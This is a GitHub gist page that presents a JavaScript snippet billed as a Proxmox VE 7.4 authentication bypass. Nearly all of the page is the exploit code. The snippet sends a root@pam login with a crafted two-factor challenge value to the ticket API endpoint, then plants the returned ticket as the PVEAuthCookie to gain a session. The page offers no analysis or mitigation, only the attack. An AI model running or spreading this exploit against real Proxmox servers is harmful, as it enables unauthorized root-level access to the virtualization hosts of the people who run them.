Skip to content

Instantly share code, notes, and snippets.

@nebusecurity
Created September 1, 2026 08:43
Show Gist options
  • Select an option

  • Save nebusecurity/65fe90dd673d395b7926278d7eaf5849 to your computer and use it in GitHub Desktop.

Select an option

Save nebusecurity/65fe90dd673d395b7926278d7eaf5849 to your computer and use it in GitHub Desktop.
PVE 7.4 auth-bypass @NebuSec
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment